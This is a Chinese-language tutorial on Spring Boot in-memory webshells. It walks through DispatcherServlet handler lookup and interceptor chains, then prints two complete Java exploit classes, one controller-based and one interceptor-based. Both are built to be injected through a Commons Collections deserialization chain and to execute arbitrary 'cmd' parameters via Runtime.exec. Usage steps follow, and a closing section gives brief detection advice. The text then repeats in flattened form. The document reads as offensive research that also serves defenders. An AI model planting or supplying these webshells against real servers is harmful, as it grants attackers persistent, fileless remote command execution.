Spring内存马分析
字数 1743 2025-08-10 12:17:56

Spring内存马分析与实现

0x01 Spring框架概述

Spring框架是一个开源的轻量级Java应用框架,提供全面的编程和配置模型,用于构建现代、可扩展的Java应用程序。主要特性包括:

  1. 依赖注入(DI)

    • 通过配置文件描述对象创建过程,由IOC容器自动组装对象
    • 反转控制:由容器查找并注入依赖对象,而非程序主动获取
  2. 面向切面编程(AOP)

    • 在类的方法执行前后插入自定义逻辑
    • 类似于Tomcat的Filter过滤器
  3. IOC容器

    • 控制对象(Bean)的创建和管理
    • 传统方式:对象内部通过new创建
    • IOC方式:容器负责创建和注入

0x02 Spring Boot环境搭建

  1. 新建项目,选择Spring模块
  2. 勾选Spring Web模块
  3. 选择2.x版本的Spring Boot
  4. 在pom.xml中添加Commons Collections(CC)依赖
  5. 设置根路由和反序列化路由
  6. 启动项目并访问根路由验证

0x03 内存马类型分析

1. Controller内存马

执行流程分析

  1. 请求处理入口:DispatcherServlet类的doDispatch方法
  2. 通过request寻找对应的handler类
  3. 遍历Mappings,调用getHandler函数
  4. 通过mappingRegistry查找对应处理逻辑的方法
  5. 最终在mappingRegistry中查找对应MappingInfo

关键点

  • mappingRegistry存储控制器方法
  • 需要动态注册Mapping到mappingRegistry
  • RequestMappingInfo类存储路由信息,特别是patternsCondition字段

构造思路

  1. 实例化控制器类作为handler
  2. 在控制器类构造恶意方法,反射获取Method类
  3. 构造patternsCondition,添加恶意路由
  4. 实例化RequestMappingInfo类,放入patternsCondition
  5. 获取上下文,调用registerMapping方法注册路由

获取上下文方法

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes()
    .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

完整EXP

package attackTest;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Method;

public class TestShell extends AbstractTranslet {
    static {
        WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
            .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        RequestMappingHandlerMapping r = webApplicationContext.getBean(RequestMappingHandlerMapping.class);
        Method ShellMethod = null;
        Class<?> C = TestShell.class;
        try {
            ShellMethod = C.getMethod("shell");
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        }
        
        PatternsRequestCondition url = new PatternsRequestCondition("/evalTest");
        RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
        RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
        TestShell testShell = new TestShell();
        r.registerMapping(info, testShell, ShellMethod);
    }

    public void shell() {
        HttpServletRequest httpServletRequest = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse httpServletResponse = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        String cmd = httpServletRequest.getParameter("cmd");
        if (cmd != null) {
            try {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                httpServletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                httpServletResponse.getOutputStream().flush();
                httpServletResponse.getOutputStream().close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

利用测试

  1. 将EXP编译成class文件
  2. 运行CC11攻击链生成payload
  3. 访问attack路由注入payload
  4. 访问/evalTest路由执行命令

2. Interceptor内存马

拦截器特点

  • 比Controller更早执行
  • 可绕过某些安全防护
  • 更通用,不受拦截器限制

拦截器创建方法

  1. 实现HandlerInterceptor接口或继承HandlerInterceptorAdapter
  2. 实现WebRequestInterceptor接口

示例拦截器

package MyInterceptor;

import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class TestInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("preHandle.");
        return true;
    }
    
    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        System.out.println("postHandle.");
    }
    
    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("afterCompletion.");
    }
}

流程分析

  1. DispatcherServlet类的doDispatch方法
  2. 创建mappedHandler时添加自定义拦截器
  3. AbstractHandlerMapping类的HandlerExecutionChain方法
  4. 遍历adaptedInterceptors拦截器列表
  5. 调用拦截器的preHandle方法

关键点

  • adaptedInterceptorsAbstractHandlerMapping的属性
  • 需要将恶意拦截器添加到adaptedInterceptors列表

构造思路

  1. 创建恶意拦截器类
  2. 获取AbstractHandlerMapping实例
  3. 通过反射获取adaptedInterceptors字段
  4. 将恶意拦截器添加到列表中

完整EXP

package attackTest;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;

public class MyInterceptorShell extends AbstractTranslet implements HandlerInterceptor {
    static {
        MyInterceptorShell myInterceptorShell = new MyInterceptorShell();
        WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
            .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        AbstractHandlerMapping abstractHandlerMapping = webApplicationContext.getBean(AbstractHandlerMapping.class);
        try {
            Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            adaptedInterceptorsField.setAccessible(true);
            java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) adaptedInterceptorsField.get(abstractHandlerMapping);
            adaptedInterceptors.add(myInterceptorShell);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            StringBuffer stringBuffer = new StringBuffer();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuffer.append(line + '\n');
            }
            response.getOutputStream().write(stringBuffer.toString().getBytes());
            response.getOutputStream().flush();
            response.getOutputStream().close();
        }
        return true;
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

利用测试

  1. 将EXP编译成class文件
  2. 生成base64编码的payload
  3. 访问attack路由注入payload
  4. 访问任意路由均可执行命令

总结

  1. Controller内存马

    • 通过动态注册路由实现
    • 需要构造RequestMappingInfoHandlerMethod
    • 访问特定路由触发
  2. Interceptor内存马

    • 通过添加拦截器实现
    • 修改adaptedInterceptors列表
    • 访问任意路由均可触发
  3. 防御建议

    • 监控动态注册的Controller和Interceptor
    • 限制反序列化操作
    • 定期检查内存中的异常Bean
Spring内存马分析与实现 0x01 Spring框架概述 Spring框架是一个开源的轻量级Java应用框架,提供全面的编程和配置模型,用于构建现代、可扩展的Java应用程序。主要特性包括: 依赖注入(DI) : 通过配置文件描述对象创建过程,由IOC容器自动组装对象 反转控制:由容器查找并注入依赖对象,而非程序主动获取 面向切面编程(AOP) : 在类的方法执行前后插入自定义逻辑 类似于Tomcat的Filter过滤器 IOC容器 : 控制对象(Bean)的创建和管理 传统方式:对象内部通过new创建 IOC方式:容器负责创建和注入 0x02 Spring Boot环境搭建 新建项目,选择Spring模块 勾选Spring Web模块 选择2.x版本的Spring Boot 在pom.xml中添加Commons Collections(CC)依赖 设置根路由和反序列化路由 启动项目并访问根路由验证 0x03 内存马类型分析 1. Controller内存马 执行流程分析 请求处理入口: DispatcherServlet 类的 doDispatch 方法 通过request寻找对应的handler类 遍历Mappings,调用 getHandler 函数 通过 mappingRegistry 查找对应处理逻辑的方法 最终在 mappingRegistry 中查找对应MappingInfo 关键点 mappingRegistry 存储控制器方法 需要动态注册Mapping到 mappingRegistry RequestMappingInfo 类存储路由信息,特别是 patternsCondition 字段 构造思路 实例化控制器类作为handler 在控制器类构造恶意方法,反射获取Method类 构造 patternsCondition ,添加恶意路由 实例化 RequestMappingInfo 类,放入 patternsCondition 获取上下文,调用 registerMapping 方法注册路由 获取上下文方法 完整EXP 利用测试 将EXP编译成class文件 运行CC11攻击链生成payload 访问attack路由注入payload 访问/evalTest路由执行命令 2. Interceptor内存马 拦截器特点 比Controller更早执行 可绕过某些安全防护 更通用,不受拦截器限制 拦截器创建方法 实现 HandlerInterceptor 接口或继承 HandlerInterceptorAdapter 实现 WebRequestInterceptor 接口 示例拦截器 流程分析 DispatcherServlet 类的 doDispatch 方法 创建 mappedHandler 时添加自定义拦截器 AbstractHandlerMapping 类的 HandlerExecutionChain 方法 遍历 adaptedInterceptors 拦截器列表 调用拦截器的 preHandle 方法 关键点 adaptedInterceptors 是 AbstractHandlerMapping 的属性 需要将恶意拦截器添加到 adaptedInterceptors 列表 构造思路 创建恶意拦截器类 获取 AbstractHandlerMapping 实例 通过反射获取 adaptedInterceptors 字段 将恶意拦截器添加到列表中 完整EXP 利用测试 将EXP编译成class文件 生成base64编码的payload 访问attack路由注入payload 访问任意路由均可执行命令 总结 Controller内存马 : 通过动态注册路由实现 需要构造 RequestMappingInfo 和 HandlerMethod 访问特定路由触发 Interceptor内存马 : 通过添加拦截器实现 修改 adaptedInterceptors 列表 访问任意路由均可触发 防御建议 : 监控动态注册的Controller和Interceptor 限制反序列化操作 定期检查内存中的异常Bean